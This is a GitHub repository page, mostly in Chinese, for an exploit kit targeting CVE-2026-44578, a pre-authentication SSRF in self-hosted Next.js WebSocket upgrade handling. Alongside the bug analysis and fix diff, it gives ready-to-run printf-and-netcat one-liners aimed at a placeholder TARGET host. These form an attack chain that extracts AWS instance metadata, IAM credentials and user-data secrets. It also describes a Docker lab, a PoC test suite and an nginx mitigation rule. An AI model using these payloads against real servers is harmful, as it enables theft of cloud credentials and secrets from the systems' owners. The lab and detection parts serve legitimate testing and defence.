dinosn/CVE-2026-44578
GitHub: dinosn/CVE-2026-44578
针对 Next.js 自托管部署中 WebSocket upgrade SSRF 漏洞(CVE-2026-44578)的完整利用工具包,包含靶场、PoC 脚本和攻击载荷。
Stars: 0 | Forks: 1
# CVE-2026-44578 — Next.js WebSocket Upgrade SSRF
Next.js 自托管部署中的预认证服务端请求伪造(SSRF)。
只需一个精心构造的 HTTP 请求,即可从 localhost:80 提取 AWS 凭证、密钥和内部服务数据。
| 字段 | 值 |
|-------|-------|
| CVE | [CVE-2026-44578](https://nvd.nist.gov/vuln/detail/CVE-2026-44578) |
| GHSA | [GHSA-c4j6-fc7j-m34r](https://github.com/advisories/GHSA-c4j6-fc7j-m34r) |
| CVSS 3.1 | **8.6 HIGH** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`) |
| 类型 | SSRF (CWE-918) |
| 受影响版本 | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (仅限自托管) |
| 修复版本 | 15.5.16, 16.2.5 |
| 需要认证 | 无 |
| 用户交互 | 无 |
## 漏洞详情
`router-server.ts` 中的 WebSocket upgrade 处理程序只要 `parsedUrl.protocol` 为真值,就会调用 `proxyRequest()`,而未检查 HTTP 处理程序一直强制执行的 `finished` 和 `statusCode` 路由完成标志。
```
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
```
在 `normalizeRepeatedSlashes` 将 `http:///` 折叠为 `http:/` 后,主机名变为 null,http-proxy 会连接到 **localhost:80** 并附带正确的路径。任何共存的服务(云元数据、管理面板、内部 API)都将暴露无遗。
## 漏洞利用命令
```
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
```
## 工作原理
```
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
```
## 靶场复现
### 前置条件
- Docker + Docker Compose
- Python 3.10+
- `nc` (netcat)
### 设置
```
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
```
这将启动 5 个容器:
| 容器 | 角色 | 暴露端口 |
|-----------|------|---------|
| `nextjs-vuln` | Next.js 15.5.15 (存在漏洞) | localhost:3000 |
| `nextjs-fixed` | Next.js 15.5.16 (已修复) | localhost:3001 |
| `imds-sidecar-vuln` | 与漏洞环境共享网络的伪 AWS IMDSv1 | localhost:80 (从漏洞容器视角) |
| `imds-sidecar-fixed` | 与修复环境共享网络的伪 AWS IMDSv1 | localhost:80 (从修复容器视角) |
| `internal-api` | 内部服务模拟 | — |
IMDS sidecar 使用了 `network_mode: "service:nextjs-*"`,因此伪造的元数据服务位于 Next.js 容器内部的 `localhost:80` 上——模拟了真实的云实例场景。
### 运行漏洞利用
```
# 完整测试套件(7个 SSRF 探针)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# 单次凭证提取
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# 确认已修补的实例阻止了它
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
```
### 清理销毁
```
./teardown.sh
```
## 证据
### 1. 靶场运行中
所有容器均已启动——易受攻击的实例 (15.5.15) 在 :3000 端口,已修复的实例 (15.5.16) 在 :3001 端口,IMDS sidecar 共享网络命名空间。

### 2. SSRF — AWS 元数据列举
单个请求即可返回完整的 EC2 元数据目录 (ami-id, instance-id, iam/, placement/ 等)

### 3. SSRF — IAM 凭证提取
完整的 IAM 凭证集:`AccessKeyId`、`SecretAccessKey`、`Token` 和 `Expiration`。

### 4. SSRF — User-Data 机密数据
EC2 user-data 启动脚本,包含 `DB_PASSWORD` 和 `API_KEY`。

### 5. SSRF — 实例身份信息
通过相同的 SSRF 向量提取的实例 ID。

### 6. 已修复实例 — 攻击被阻止
对 Next.js 15.5.16 发起相同的载荷。连接立即关闭——未返回任何数据。

### 7. IMDS 日志 — 服务端执行证明
伪造的 IMDS 日志显示 GET 请求来自 `127.0.0.1`(Next.js 进程),证明该 SSRF 发生在服务端。

### 8. 完整 PoC 套件 — 易受攻击环境 (7/7 已确认)
所有 7 项 SSRF 测试均在易受攻击的实例上返回了敏感数据。

### 9. 完整 PoC 套件 — 已修复环境 (0/7 已阻止)
所有 7 项测试在已修复的实例上均被阻止。修复已确认。

## 攻击链载荷
```
# 1. 列出 metadata 类别
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. 实例 ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. 发现 IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. 提取 IAM 凭证
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
```
将 `T` 替换为目标主机,将 `ROLE` 替换为 IAM 角色名称。
## 限制条件
| 限制项 | 详情 |
|------------|--------|
| HTTP 方法 | 仅限 GET |
| 目标 | localhost:80 (主机名被规范化去除) |
| AWS IMDSv2 | 不可利用 (需要 PUT 请求) |
| GCP metadata | 不可利用 (拒绝 Upgrade 头) |
| Vercel 托管 | 不受影响 |
| 位于反向代理之后 | nginx/Caddy/HAProxy 会阻止绝对形式的 URI |
## 检测与缓解
```
# Nginx:拒绝 absolute-form 请求 URI
if ($request_uri ~* "^https?://") {
return 400;
}
```
在 AWS 上:强制使用 IMDSv2 (`HttpTokens=required`)。
日志特征:
- `Failed to proxy http:/` — 代理被触发但目标不可达
- `http:///path` 变体**不会产生错误日志**——需监控请求行中带有 `http:` 的 WebSocket upgrade 请求
## 参考
| 来源 | 链接 |
|--------|------|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-44578 |
| GHSA | https://github.com/advisories/GHSA-c4j6-fc7j-m34r |
| 修复 commit | https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8 |
| Hadrian 分析文章 | https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2 |
| 公开 PoC (nextssrf) | https://github.com/ynsmroztas/nextssrf |
## 免责声明
仅供授权的安全测试、教育和防御性研究使用。仅限在您拥有或已获得明确书面测试授权的系统上使用。
标签:AWS凭证窃取, CISA项目, CVE-2026-44578, CWE-918, HTTP请求走私, IMDS, MITM代理, PoC, SSRF, WebSocket, Web安全, 依赖分析, 安全漏洞, 插件系统, 数据展示, 暴力破解, 服务端请求伪造, 本地文件读取, 版权保护, 红队, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 预认证漏洞